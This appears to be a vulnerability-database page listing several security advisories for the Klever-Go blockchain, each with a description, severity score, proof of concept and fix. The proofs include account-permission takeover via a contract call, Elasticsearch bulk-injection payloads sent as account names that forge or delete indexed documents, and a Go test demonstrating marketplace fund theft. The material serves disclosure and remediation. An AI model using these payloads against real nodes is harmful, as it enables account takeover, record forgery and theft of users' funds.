Where
-Infinity
0

Vendor Risk Score

See how klever compares to other vendors in security performance

View Risk Score →
Severity
8.7
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Description

The VM built-in function KleverUpdateAccountPermission (registered always-active, creator.go:381-390 / core/vmconstants.go:234) rewrites an account's entire permission set. Its authorization check uses vmInput.RecipientAddr attacker-controlled instead of the authenticated vmInput.CallerAddr. The sibling handler kleverChangeOwnerAddress.go:86 uses vmInput.CallerAddr correctly, so the safe pattern exists in-repo; this handler deviates. The native transaction path (txProcess.go:833) is safe it uses tx.GetSender().

Mechanism: 1. Wrong variable: CallerAddr is never referenced in the handler; auth is contractHasValidPermission(target.GetPermissions(), RecipientAddr), which returns true if RecipientAddr is a signer with Weight >= Threshold in the target account's permissions and the permission grants UpdateAccountPermissionContractType. 2. RecipientAddr is attacker-controlled: when a contract calls a built-in via ExecuteOnDestContextWithTypedArgs (baseOps.go:1967), prepareIndirectContractCallInput (baseOps.go:2485) sets RecipientAddr = destination (contract-chosen) and CallerAddr = the calling contract. The blockchain hook (blockChainHook.go:454/467) dispatches on input.Function and passes the input through unchanged; no guard forces RecipientAddr == CallerAddr and there is no SC-destination validation on this path. 3. Self-signer default satisfies the check: createDefaultOwnerPermission (accounts.go:1848) makes an account its own signer (weight 1, threshold 1, Owner type), and CheckPermissionGrantedForContracts returns true for Owner, so contractHasValidPermission(V.perms, V) == true. (More generally, RecipientAddr can be set to any of V's signer addresses meeting threshold all public on-chain.) Accounts with no stored permissions have empty GetPermissions() and are immune. 4. Overwrite is unrestricted: UpdatePermission(V, attackerContract) (accounts.go:1863) replaces V's permission set with attacker-supplied signers; if the attacker supplies an Owner-type permission, no default is appended and V's prior control is fully evicted.

Code walkthrough

(a) The vulnerable handler — core/kapp/builtInFunctions/kleverUpdateAccountPermission.go: go func (e kleverUpdateAccountPermission) ProcessBuiltinFunction(vmInput vmcommon.ContractCallInput) (vmcommon.VMOutput, error) { ... address := vmInput.NextArg() // Arguments[0] — attacker-chosen target account V contract, err := e.getUpdateAccountPermissionContract(vmInput) // Arguments[1] — attacker-chosen new permissions ... acc, err := e.accountsCacher.LoadUser(address) // loads V ... // BUG: authorizes against vmInput.RecipientAddr (attacker-controlled), NOT vmInput.CallerAddr if !e.contractHasValidPermission(acc.GetPermissions(), vmInput.RecipientAddr) { // L91 return nil, errors.New("invalid permission operation") } // overwrites V's entire permission set with attacker-supplied signers resultCode, err := e.kappController.GetAccountsKApp().UpdatePermission(address, contract) ... }

(b) The check just name-matches recipientAddr against V's own signers — same file: go func (e kleverUpdateAccountPermission) contractHasValidPermission(permissions []state.Permission, recipientAddr []byte) bool { for , permission := range permissions { for , signer := range permission.Signers { if !bytes.Equal(signer.Address, recipientAddr) { // recipientAddr, not the authenticated caller continue } if signer.Weight >= permission.Threshold && permission.CheckPermissionGrantedForContracts(transaction.TXContractUpdateAccountPermissionContractType) { return true } } } return false }

(c) The dispatch makes RecipientAddr attacker-controlled — kvm/vmhost/vmhooks/baseOps.go:2464 prepareIndirectContractCallInput (invoked when a contract calls the built-in via ExecuteOnDestContext): go contractCallInput := &vmcommon.ContractCallInput{ VMInput: vmcommon.VMInput{ CallerAddr: sender, // the calling contract (authenticated) — NOT used by the handler Arguments: data, // attacker-chosen: [V, attackerPermissions] ... }, RecipientAddr: destination, // the contract's chosen dest argument — attacker sets this to V Function: string(function), }

(d) Every account with configured permissions is its own signer — core/kapp/accounts/accounts.go:1848 createDefaultOwnerPermission (appended by UpdatePermission when no Owner permission is supplied): go return &state.Permission{ Type: state.PermissionOwner, // Owner grants ALL contract types incl. type 22 Threshold: 1, Signers: []state.Key{ { Address: ownerAcc.AddressBytes(), Weight: 1 }, // the account signs for itself }, } So contractHasValidPermission(V.perms, RecipientAddr=V) finds V's own address as a Weight 1 >= Threshold 1 Owner signer → returns true.

(e) Contrast — the sibling handler does it correctly — core/kapp/builtInFunctions/kleverChangeOwnerAddress.go:86: go callerAddress := vmInput.CallerAddr // authenticated caller ... if !bytes.Equal(callerAddress, acc.GetOwnerAddress()) { // checks the CALLER, not RecipientAddr return nil, ErrOperationNotPermitted }

Putting it together — the attacker's contract call: ExecuteOnDestContext( gas, dest = V, // → RecipientAddr = V value = 0, function = "KleverUpdateAccountPermission", args = [ V, attackerOwnerPermsWithOnlyAttackerKey ], // Arguments[0]=V, Arguments[1]=new perms ) → CallerAddr = attackerContract (ignored), RecipientAddr = V, contractHasValidPermission(V.perms, V) == true → V's permissions overwritten with the attacker's key as sole Owner signer. The attacker never held a key of V and provided no signature from V.

POC

put the following poc testcase under /core/kapp/builtInFunctions/

POC Code: https://gist.github.com/mabdullah22/a41f90aa5ba86bbebf121f739bd5f5e9

Run: cd klever-go GOTOOLCHAIN=auto go test ./core/kapp/builtInFunctions/ -run TestPoCPermTakeover -v Output: TAKEOVER CONFIRMED: caller="attacker-contract" (attacker SC) rewrote account V="victim-account-V"; new sole owner signer="attacker-key-EVIL" --- PASS: TestPoCPermTakeover --- PASS: TestPoCPermTakeoverNoStoredPermsIsSafe The harm asserted is the takeover itself: after the call, V's permission set is a single Owner permission whose sole signer is the attacker's key; V's original owner signer is gone.

Impact

Full takeover of any account that has configured permissions i.e. every multisig / advanced-permission account , by an attacker who deploys a cheap smart contract and supplies only public on-chain addresses (no keys, no signatures from the victim). After takeover the attacker controls all of the victim's operations → theft or permanent lock of all the account's assets. Reachable via a permissionlessly-deployed contract (the plain-tx path is safe, so it is Critical-via-contract, not fully no-contract). No fork flag gates it.

Severity Critical: Impact High (full account/asset compromise)

Recommendation

Authorize against the authenticated caller, mirroring kleverChangeOwnerAddress: go if !e.contractHasValidPermission(acc.GetPermissions(), vmInput.CallerAddr) { ... } Reconcile the SC-call authority model: on the built-in path CallerAddr is the calling contract, so a contract should only be able to update permissions of accounts that legitimately list it as an authorized signer — never an arbitrary victim. Consider also requiring the target account (Arguments[0]) to equal the authorized caller's account, matching the native tx.GetSender() model.

1 / 2
Source: GitHub
First published (updated )
Severity
8.4
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Component: Elasticsearch indexer (indexer/) Primary location: indexer/common.go:2395-2407 (serializedDataForUpdateAccounts) Entry point: SetAccountName native transaction (contract type 12) — core/process/transaction/txProcess.go:688

---

Description

When the node indexes account updates to Elasticsearch, it builds the ES bulk painless-script line by splicing the account's name directly into JSON with fmt.Sprintf("%s", ...) and no escaping:

go // indexer/common.go:2395-2407 (serializedDataForUpdateAccounts) serializedData := []byte(fmt.Sprintf({"script":{"source":"+ ctx.source.name = params.name; ... + ","lang": "painless","params":+ {"name": "%s", "nonce": %d, "rootHash": "%s", "balance": %d, ...}}}, acc.Name, acc.Nonce, acc.RootHash, acc.Balance, ...)) // acc.Name is RAW

acc.Name originates from on-chain account state: indexer/accountInfo.go:31 sets Name: string(userAccount.GetName()). An account name is fully attacker-controlled and only weakly validated when it is set on-chain by the SetAccountName handler:

go // core/kapp/accounts/accounts.go:1740 if !utf8.Valid(tc.GetName()) || len(tc.GetName()) > core.MaxNameSize { ... } // MaxNameSize = 100

The only constraints are valid UTF-8 and length ≤ 100 bytes. Double-quote ("), backslash (\), and newline (\n) are all valid UTF-8 and are not rejected. The safe helper converters.JsonEscape() exists and is used for id fields elsewhere in the same file (common.go:893, :932, :961) but is not applied to the name.

The resulting buffer is POSTed verbatim to Elasticsearch bulk by elasticClient.DoBulkRequest (indexer/elasticClient.go:128), with the index in the URL. The bulk body is NDJSON — newline-delimited action/source pairs (indexer/data/buffer.go:45 appends a \n after every entry). Therefore a name containing a quote and newlines can

- inject arbitrary keys/structure into the document, - break the batch, and - inject entirely new bulk operations targeting other documents and other indices.

SetAccountName is a first-class transaction contract type (= 12) dispatched natively at txProcess.go:688 via SetAccountName(tx.GetSender(), tc). The attacker names their own account with the payload in one ordinary signed transaction (normal fee, no contract deploy, no VM gas). (It is additionally exposed as a VM built-in KleverSetAccountName, but that path is not needed.)

The name is written into consensus account state (userAccount.SetName, data/state/userAccount.go:76) and replicated to all nodes. The indexer reads it from state, not from the transaction, during each node's own block processing (core/process/block/block.go:1141 SaveBlock / SaveAccounts). Consequently:

- The attacker does not need any access to the node running the indexer, the ES port, or validator status. One broadcast to the network is enough. - Indexers typically run on observer/gateway nodes that power the public explorer/API — exactly the realistic victim. - The payload is durable and replayable: a newly stood-up indexer, or a historical re-index (import-DB mode, cmd/node/startup.go:153), re-reads the name from state and re-fires the injection.

Escalation — from denial-of-indexing to arbitrary ES document CRUD

Elasticsearch bulk fails a malformed line differently by position: malformed action line → whole-batch HTTP 400 (nothing applies); malformed source line → per-item error (other items still apply). By appending a sacrificial action after the forged op, the serializer's fixed template tail (", "nonce":...}}}) lands in a source position (item-level error), so a clean forged op that precedes it is applied. This yields arbitrary create / overwrite / delete of documents in any index the indexer's ES credentials can write — cross-index via {"index":{"index":"...", "id":"..."}}.

Deployment amplifier (default ES config)

The Elasticsearch config klever ships (docker/elasticsearch/elasticsearch.yml, docker/docker-compose.yml) sets xpack.security.enabled: false, network.host: 0.0.0.0, publishes 9200:9200, and CORS with POST,PUT,DELETE. The node's default config/node/external.yaml connects with empty username/password. So the indexer writes to ES unauthenticated, and if ES is network-reachable it is itself fully open. Crucially, even when an operator firewalls ES to localhost, this injection is the remote bridge that reaches that private ES through the node's own trusted connection.

---

POC

The entire attack is a single SetAccountName transaction the attacker sends from any funded account, naming its own account with a crafted payload.

operator --node=http://<node>:8099 -k attacker.pem --sign account set-name \ $'"}}}\n{"index":{"index":"transactions","id":"t"}}\n{"status":"success"}\n{"index":{}}'

This submits contract type 12 (SetAccountNameContract) with:

Name = "}}}⏎{"index":{"index":"transactions","id":"t"}}⏎{"status":"success"}⏎{"index":{}} (84 bytes ≤ MaxNameSize 100; ⏎ = literal \n. On-chain Name is []byte, i.e. base64 In19fQp7ImluZGV4Ijp7Il9pbmRleCI6InRyYW5zYWN0aW9ucyIsIl9pZCI6InQifX0KeyJzdGF0dXMiOiJzdWNjZXNzIn0KeyJpbmRleCI6e319.)

{ "update": { "index":"accounts", "id":"<attacker>" } } {"script":{ ... ,"params":{"name": ""}}} {"index":{"index":"transactions","id":"t"}} ← forged bulk action {"status":"success"} ← forged doc → written to transactions {"index":{}}", "nonce":1, ... }}} ← sacrificial op absorbs the template tail

Observed result: a forged document {"status":"success"} with id:"t" appears in the transactions index — the attacker never submitted any such transaction:

GET transactions/doc/t

{ "found": true, "source": { "status": "success" } }

Escalation variants — same delivery, only the Name changes

Each is a single SetAccountName tx sent the same way; only the payload differs.

Denial-of-indexing (2-byte name — breaks the batch, drops every co-batched account update): operator --node=http://<node>:8099 -k attacker.pem --sign account set-name 'x"'

Cross-index write / forge a document (e.g. a governance proposal doc; 82 bytes): operator --node=http://<node>:8099 -k attacker.pem --sign account set-name \ $'"}}}\n{"index":{"index":"proposals","id":"5"}}\n{"status":"approved"}\n{"index":{}}'

Delete a document (e.g. proposal id 5; 61 bytes): operator --node=http://<node>:8099 -k attacker.pem --sign account set-name \ $'"}}}\n{"delete":{"index":"proposals","id":"5"}}\n{"index":{}}'

---

Impact

A single, cheap, permissionless on-chain transaction (one tx fee; no contract, no special role, no access to the indexing host) lets an attacker inject into the Elasticsearch bulk stream of every node that indexes the chain now or in the future. Two tiers of impact:

1. Denial-of-indexing A name containing a single " or newline makes ES reject the whole bulk batch (HTTP 400). Because the indexer batches many accounts per bulk (up to 4 MB), every co-batched honest account's balance/name/nonce update is silently dropped → the explorer/API serves stale data. Repeatable every block.

2. Arbitrary document CRUD across all indexer indices (escalation). Using the sacrificial-op construction, the attacker can create/overwrite/delete documents in any klever index the indexer writes (transactions, blocks, accounts, proposals, assets, marketplaces, ...): forge "successful" transactions, rewrite balances, delete or rewrite blocks and governance proposals. Anyone trusting the ES-backed API , wallets, block explorers, or an exchange crediting deposits off indexer data can be fed fabricated records, enabling fraud (e.g. a forged status:success transaction).

Amplifiers: the payload is permanent replicated state, so it hits any current or future indexer and survives re-indexing; the attacker is fully decoupled from the victim indexer; and the shipped ES config is unauthenticated.

---

Recommendation

1. Escape the name . Never splice on-chain strings into JSON with fmt.Sprintf. Either apply the existing converters.JsonEscape() to acc.Name (mirror the id handling), or preferably build the entire bulk source with json.Marshal of a typed struct so no on-chain string can break the JSON/NDJSON structure. Audit every fmt.Sprintf-built bulk/script line in indexer/common.go for the same pattern (RootHash and other %s fields on this and nearby paths).

2. Restrict the on-chain account-name charset at SetAccountName (accounts.go:1740) reject control characters, quotes, and backslashes (or allow only a safe printable subset) as defense-in-depth. Gate any consensus-visible validation change behind an epoch fork flag.

1 / 2
Source: GitHub
First published (updated )
Severity
7
Input Validation
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Location: core/kapp/validators/validators.go:201 (Register), (genesis/checking/nodesSetupChecker.go:73). core/consensus/slot/bls/subslotStartSlot.go:165 core/consensus/.../headerSignatureVerify.go:123 (Create(...)).

Description

Klever uses a BDN (Boneh-Drijvers-Neven) BLS multi-signature over BLS12-381 to finalize blocks (crypto/signing/mcl/multisig/bls.go, herumi/bls-go-binary). The library is initialized with only bls.Init(bls.BLS12381) and no order-verification flags, so Deserialize does not enforce prime-order-subgroup membership subgroup safety relies on explicit IsValidOrder() calls in the wrappers.

Runtime validator registration (validators.Register) stores the submitted 96-byte BLSPublicKey via SetBLSPublicKey with no curve check, no subgroup check, and no proof-of-possession (CreateValidatorContract carries the key but no signature proving key ownership; grep confirms no proofOfPossession/VerifyProof/BLSSignature verification anywhere in core/kapp/validators/). CheckPublicKeyValid — which does IsValid && IsValidOrder && !IsZero — runs only at genesis, not on runtime registration/update.

POC

Attack: (1) stake the minimum to register a validator, submitting a 96-byte BLSPublicKey that is not a valid G2 point (arbitrary bytes). Registration succeeds. (2) Once the validator is eligible and selected into a consensus group, every in-group node including the honest leader (group[0]) calls MultiSigner().Reset(groupPubKeys, selfIndex) at slot start, which deserializes all group keys via PublicKeyFromByteArray → herumi Deserialize deterministically fails on the malformed key → SetSlotCanceled(true). The verify side (Create(consensusPubKeys)) fails identically. No block is produced for that round.

Impact

Every consensus round whose group contains the malformed-key validator is a missed slot. One eligible bad-key validator poisons roughly a groupSize / eligibleSet fraction of rounds → sustained liveness degradation. Where the consensus group equals the eligible set (small or early-stage networks), this is a full chain halt. Cost is the minimum validator stake, permissionless, and repeatable; no fork flag gates the missing validation.

Rated High (Byzantine liveness; Critical on small validator sets). The severity scales down to a fractional missed-slot / throughput-degradation attack on a large validator set where the bad validator is only occasionally in the active group.

Recommendation

Enforce CheckPublicKeyValid (curve + prime-order subgroup + non-zero) on the submitted BLS key at runtime validator registration and config-update, and ideally require a proof-of-possession (a BLS signature over the validator's own key/identity) at registration to prove key ownership and well-formedness. Gate the stricter validation behind an epoch fork flag for reprocessing consistency.

1 / 2
Source: GitHub
First published (updated )
Severity
7.1
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Location: core/kapp/market/market.go — Buy() (approx. L281–436)\ Severity: High

The native marketplace enforces an IsClaimed guard in Claim (market.go:752), CancelOrder (market.go:1125), and orderEscrowAmount (market.go:251), but not in Buy.

Marketplace escrow is virtual: the market KApp account never custodies currency. A bid burns funds from the bidder (bidderAcc.SubFromBalance, ~L378), and refunds/payouts mint to the recipient (AddToBalance, e.g. the prior-bidder refund at ~L349). Soundness depends on each order's CurrentBid being paid out exactly once.

A seller can settle a resting-bid auction early via the seller-accept branch of Claim (~L776) → executeBuyMarket (~L656). That path sets IsClaimed=true, delivers the NFT, pays the seller, and re-saves the order (SetMarketOrder, ~L726) — but, unlike every other settle path, it does not reset EndTime (contrast immediate-buy Buy ~L416 and CancelOrder ~L1206), and no code path deletes the order. The result is a "zombie" order: already settled, yet still loadable with EndTime in the future and a stale CurrentBidder.

Because Buy has no IsClaimed guard, a new bidder can still Buy on that settled order (the bid guard at ~L317 only forces the new amount Y > CurrentBid X). The new bidder is debited Y; the prior bidder is refunded X (funded by the new bidder, not minted); the new bidder becomes CurrentBidder on an IsClaimed order and can then neither Claim (reverts on IsClaimed) nor CancelOrder (reverts on IsClaimed). Their funds are lost permanently.

Attack sequence (permissionless , anyone can create a sell order): 1. Attacker (seller S) creates a resting-bid auction (Price=0, ReservePrice>0) for an NFT and self-bids X as bidder A (Sybil). 2. S accepts A's bid early via Claim → NFT goes to A (= attacker, keeps it), S (= attacker) collects the owner payout, order marked IsClaimed=true but left "live". 3. Victim B bids Y > X on the still-live-looking auction via Buy. Buy refunds prior bidder A the amount X (AddToBalance, L349) and burns Y from B (SubFromBalance, L378). 4. B is now CurrentBidder on a claimed order and can neither Claim nor CancelOrder — both revert on IsClaimed. B's Y is unrecoverable; X of it was siphoned to A; Y−X is destroyed.

POC package market

import ( "testing"

"github.com/klever-io/klever-go/common/mock" "github.com/klever-io/klever-go/core/kapp" "github.com/klever-io/klever-go/core/process/kda/kdautils" "github.com/klever-io/klever-go/data/block" "github.com/klever-io/klever-go/data/state" "github.com/klever-io/klever-go/data/transaction" "github.com/klever-io/klever-go/kapps" "github.com/klever-io/klever-go/kvm/mock/stub" "github.com/stretchr/testify/require" )

// TestPoCZombieOrderMissingIsClaimedGuardInBuy proves the fund-loss / theft // vulnerability caused by Buy lacking the IsClaimed guard that Claim // (market.go L752) and CancelOrder (market.go L1125) both enforce. // // Attack (attacker A == seller S, victim B): // 1. S lists an NFT as an Auction with Price=0, ReservePrice=R (bids REST). // 2. A places a resting bid X >= R via Buy (records CurrentBid/CurrentBidder, // no settlement because Price==0). // 3. S accepts the resting bid early via Claim's seller-accept branch (L776), // which routes to executeBuyMarket: IsClaimed=true, NFT delivered to A, // proceeds paid to S(=A). This settle path is the ONLY one that does NOT // reset EndTime and does NOT delete the order -> the order becomes a live // "zombie" (IsClaimed=true, EndTime in the future, still loadable). // 4. Victim B calls Buy on the zombie order with Y > X. Buy has no IsClaimed // guard, so it SUCCEEDS: B is debited Y, prior bidder A is "refunded" X // (funded by B), and B becomes CurrentBidder on an already-claimed order. // 5. B can NEITHER Claim (reverts on IsClaimed) NOR CancelOrder (reverts on // IsClaimed). B's Y is unrecoverable; X of it is siphoned to A. // // HARM proven: B ends down Y with no NFT and no recovery path; A ends up X. func TestPoCZombieOrderMissingIsClaimedGuardInBuy(t testing.T) { const ( blockTime = int64(1000) endTime = int64(1001000) // future relative to blockTime reserve = int64(1000000) // R bidX = int64(1000000) // A's resting bid (== reserve, >= reserve required) bidY = int64(2000000) // B's bid on the zombie order (must be > X) fundAttacker = int64(10000000) fundVictim = int64(10000000) )

klv := kdautils.KLVIdentifier collectionID := []byte("ZOMBIE-COLL") assetID := []byte("1") marketplaceID := []byte("mp-zombie") orderID := []byte("order-zombie")

attacker := defaultAddr // A == S (seller and first bidder) victim := defaultOther // B

marketKApp, accCacher, forkController := createTestMarketKApp(t) // Post-fork behaviour (guards on royalty overflow enabled); does not touch // the missing-IsClaimed-guard path being tested. forkController.FixMarketBuyOverflowValue = true

// --- Fund the two user accounts (Buy debits real balances) --- attackerAcc, err := accCacher.LoadUser(attacker) require.NoError(t, err) require.NoError(t, attackerAcc.AddToBalance(fundAttacker, klv, false)) require.NoError(t, accCacher.UpdateUser(attackerAcc))

victimAcc, err := accCacher.LoadUser(victim) require.NoError(t, err) require.NoError(t, victimAcc.AddToBalance(fundVictim, klv, false)) require.NoError(t, accCacher.UpdateUser(victimAcc))

// --- Set up the market KApp: marketplace + escrowed NFT + resting auction order --- marketKappAcc, err := accCacher.LoadKApp(kapps.MarketKAppAddress) require.NoError(t, err)

require.NoError(t, marketKApp.SetMarketplace(marketKappAcc, &kapps.Marketplace{ ID: marketplaceID, OwnerAddress: attacker, Name: []byte("Zombie Market"), ReferralAddress: attacker, ReferralPercentage: 0, // keep accounting clean })) // The NFT is escrowed in the market KApp (as if seller deposited it via Sell). require.NoError(t, marketKappAcc.AddInternalKDA(collectionID, assetID, []byte("nft-data")))

// Auction with Price=0, ReservePrice=R -> bids REST (see Buy L330-337 and // Sell L1003-1014: Auction has no Price>0 requirement). order := &kapps.MarketOrderData{ ID: orderID, MarketplaceID: marketplaceID, MarketType: kapps.MarketOrderDataAuction, OwnerAddress: attacker, CollectionID: collectionID, AssetID: assetID, CurrencyID: klv, Price: 0, // <-- makes bids rest instead of auto-settle ReservePrice: reserve, // R ReferralPercentage: 0, StartTime: blockTime, EndTime: endTime, // future IsClaimed: false, } require.NoError(t, marketKApp.SetMarketOrder(marketKappAcc, order)) require.NoError(t, accCacher.UpdateKapp(marketKappAcc))

// --- Shared KApp context / controller wiring for all handler calls --- receiptsStub := mock.NewReceiptsContextStub() ctx := &mock.KAppContextStub{ ContractIDCalled: func() int { return 0 }, ReceiptsCalled: func() kapp.ReceiptsContext { return receiptsStub }, BlockCalled: func() block.Block { return &block.Block{Header: &block.BlockHeader{Timestamp: blockTime}} }, TxNonceCalled: func() uint64 { return 1 }, } // Zero-royalty asset so executeBuyMarket pays only marketOwnerAmount (== bid) to the owner. asset := &kapps.KDAData{ OwnerAddress: attacker, Royalties: &kapps.RoyaltiesData{ Address: attacker, MarketPercentage: 0, SplitRoyalties: make(map[string]kapps.RoyaltySplitData), }, } controllerStub := &stub.KAppControllerStub{ GetCurrentKAppContextCalled: func() kapp.KappContext { return ctx }, GetKDAKAppCalled: func() kapp.KDAKapp { return &stub.KDAKappStub{ GetKDACalled: func( []byte) (state.KAppAccountHandler, kapps.KDAData, error) { return nil, asset, nil }, } }, } require.NoError(t, marketKApp.SetKAppController(controllerStub))

balance := func(addr []byte) int64 { a, e := accCacher.LoadUser(addr) require.NoError(t, e) return a.GetBalance(klv, false) }

// ============================================================ // STEP 1: A places a RESTING bid X via the real Buy handler. // ============================================================ status, err := marketKApp.Buy(attacker, &transaction.BuyContract{ ID: orderID, CurrencyID: klv, Amount: bidX, }) require.NoError(t, err, "resting bid should succeed") require.Equal(t, transaction.TransactionOk, status)

, restedOrder, err := marketKApp.GetMarketOrder(orderID) require.NoError(t, err) require.Equal(t, bidX, restedOrder.CurrentBid, "bid must REST (record CurrentBid), not settle") require.Equal(t, attacker, restedOrder.CurrentBidder) require.False(t, restedOrder.IsClaimed, "resting bid must not settle the order") require.Equal(t, fundAttacker-bidX, balance(attacker), "A debited X on the resting bid")

// ============================================================ // STEP 2: S(=A) accepts the resting bid EARLY via Claim (seller-accept // branch). This settles the order but leaves EndTime in the future // and does NOT delete the order -> zombie order. // ============================================================ status, err = marketKApp.Claim(attacker, &transaction.ClaimContract{ID: orderID}) require.NoError(t, err, "early seller-accept claim should succeed") require.Equal(t, transaction.TransactionOk, status)

, settledOrder, err := marketKApp.GetMarketOrder(orderID) require.NoError(t, err, "order must remain LOADABLE after early claim (not deleted)") require.True(t, settledOrder.IsClaimed, "order is now claimed/settled") require.GreaterOrEqual(t, settledOrder.EndTime, blockTime, "BUG: early-claim settle path leaves EndTime in the future (order looks live)") require.Equal(t, endTime, settledOrder.EndTime, "EndTime was NOT reset by the settle path")

// A got the NFT proceeds back (owner payout == bid X), so A is whole again post-settle. require.Equal(t, fundAttacker, balance(attacker), "A recovered X as owner payout on settle")

// ============================================================ // STEP 3: Victim B calls Buy on the ZOMBIE (already-claimed) order with Y>X. // Buy has NO IsClaimed guard -> this SUCCEEDS (the vulnerability). // ============================================================ status, err = marketKApp.Buy(victim, &transaction.BuyContract{ ID: orderID, CurrencyID: klv, Amount: bidY, }) require.NoError(t, err, "BUG: Buy accepts a bid on an already-claimed (settled) order") require.Equal(t, transaction.TransactionOk, status, "BUG: Buy returns Ok on a claimed order (missing IsClaimed guard)")

require.Equal(t, fundVictim-bidY, balance(victim), "B debited Y") require.Equal(t, fundAttacker+bidX, balance(attacker), "A received a PHANTOM refund of X (funded by B) on the zombie order")

, zombieOrder, err := marketKApp.GetMarketOrder(orderID) require.NoError(t, err) require.Equal(t, victim, zombieOrder.CurrentBidder, "B is now CurrentBidder on a claimed order") require.Equal(t, bidY, zombieOrder.CurrentBid) require.True(t, zombieOrder.IsClaimed, "order is STILL claimed - B is stuck")

// ============================================================ // HARM ASSERTION (a): B cannot Claim -> reverts on IsClaimed (market.go L752). // ============================================================ status, err = marketKApp.Claim(victim, &transaction.ClaimContract{ID: orderID}) require.Error(t, err, "HARM: B's Claim must revert (order already claimed)") require.Equal(t, transaction.TransactionParameterInvalid, status, "HARM: Claim rejected via IsClaimed guard - B cannot retrieve NFT or refund")

// ============================================================ // HARM ASSERTION (b): B cannot CancelOrder -> reverts on IsClaimed (market.go L1125). // ============================================================ status, err = marketKApp.CancelOrder(victim, &transaction.CancelMarketOrderContract{OrderID: orderID}) require.Error(t, err, "HARM: B's CancelOrder must revert (order already claimed)") require.Equal(t, transaction.TransactionParameterInvalid, status, "HARM: CancelOrder rejected via IsClaimed guard - B cannot recover funds")

// ============================================================ // HARM ASSERTION (c): Net accounting - B is permanently down Y with no NFT // and no recovery path; A is permanently up X. // ============================================================ require.Equal(t, fundVictim-bidY, balance(victim), "HARM: B is down Y (%d) with no NFT and no recoverable path", bidY) require.Equal(t, fundAttacker+bidX, balance(attacker), "HARM: A is up X (%d), siphoned from B", bidX)

// Confirm B never received the NFT (it was delivered to A at settle time). victimFinal, err := accCacher.LoadUser(victim) require.NoError(t, err) , nftErr := victimFinal.SubInternalKDA(collectionID, assetID) require.Error(t, nftErr, "HARM: B holds no NFT for the funds it lost")

t.Logf("PROVEN: B lost %d KLV (balance %d -> %d), unrecoverable. A gained %d KLV (balance %d -> %d). "+ "Y-X = %d KLV destroyed/stranded.", bidY, fundVictim, balance(victim), bidX, fundAttacker, balance(attacker), bidY-bidX) } Executable Go test: core/kapp/market/poczombieordertest.go — TestPoCZombieOrderMissingIsClaimedGuardInBuy

Run: cd klever-go GOTOOLCHAIN=auto go test ./core/kapp/market/ -run TestPoCZombieOrderMissingIsClaimedGuardInBuy -v (Local Go 1.23.1 auto-fetches toolchain 1.25.7 per go.mod. Full market package suite passes no regressions.)

Output: PROVEN: B lost 2000000 KLV (balance 10000000 -> 8000000), unrecoverable. A gained 1000000 KLV (balance 10000000 -> 11000000). Y-X = 1000000 KLV destroyed/stranded. --- PASS: TestPoCZombieOrderMissingIsClaimedGuardInBuy (0.00s) PASS

Assertions proven (all using real market functions, harm-level not mechanism-level): - Resting bid: Price=0 auction → bid rests (CurrentBid=X, IsClaimed=false), no auto-settle. - Early seller-accept Claim → IsClaimed=true, EndTime still in the future, order still loadable (the zombie). - Victim Buy on the claimed order returns TransactionOk (the vulnerability no IsClaimed guard). - Harm (a): victim's Claim reverts TransactionParameterInvalid. - Harm (b): victim's CancelOrder reverts TransactionParameterInvalid. - Harm (c): victim −Y, attacker +X, victim holds no NFT and has no recovery path.

Impact

- Direct, permanent fund loss for any bidder who bids on an already-settled order. The victim's entire bid Y is burned with nothing received and no recovery path (Claim and CancelOrder both revert on IsClaimed). - Theft: the attacker (seller, also acting as prior bidder A via Sybil) keeps the NFT and harvests ≈X from each subsequent bidder. Repeatable across many bait orders. - Value destruction: Y−X per victim is burned (supply strictly decreases this is theft/fund-loss, not net inflation). - No privileged role required , anyone can create a marketplace sell order. - Real-world likelihood is Medium: the victim must bid on a settled order that, on-chain, still reads EndTime-in-future; exposure depends on whether clients surface claimed orders as biddable (a naive/custom frontend or a sniping bot is trappable).

Impact High × Likelihood Medium -> High.

Recommendation

Add an IsClaimed guard at the top of Buy, mirroring Claim (market.go:752) and CancelOrder (market.go:1125):

go if marketOrder.IsClaimed { return transaction.TransactionParameterInvalid, ErrMarketOrderAlreadyClaimed }

Defense-in-depth (optional but recommended): in executeBuyMarket, reset EndTime/CurrentBid/CurrentBidder (or delete the order) on early settlement so a settled order is no longer indistinguishable from a live one. Gate any consensus-visible behavior change behind an epoch fork flag so historical blocks reprocess identically.

1 / 2
Source: GitHub
First published (updated )
Severity
7.1
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.20, header signature verification counts the unused padding bits of the PubKeysBitmap toward the two-thirds validator quorum. These padding bits do not correspond to any validator and are ignored by the actual BLS aggregate-signature check, so a malicious or compromised block producer can set them to reach the required quorum while gathering fewer genuine validator signatures than the protocol demands. As a result, nodes that import or intercept the header accept it as correctly signed without a real two-thirds quorum, weakening consensus safety and undermining finality. This issue is fixed in version 1.7.20.

First published (updated )
Severity
5
Input Validation
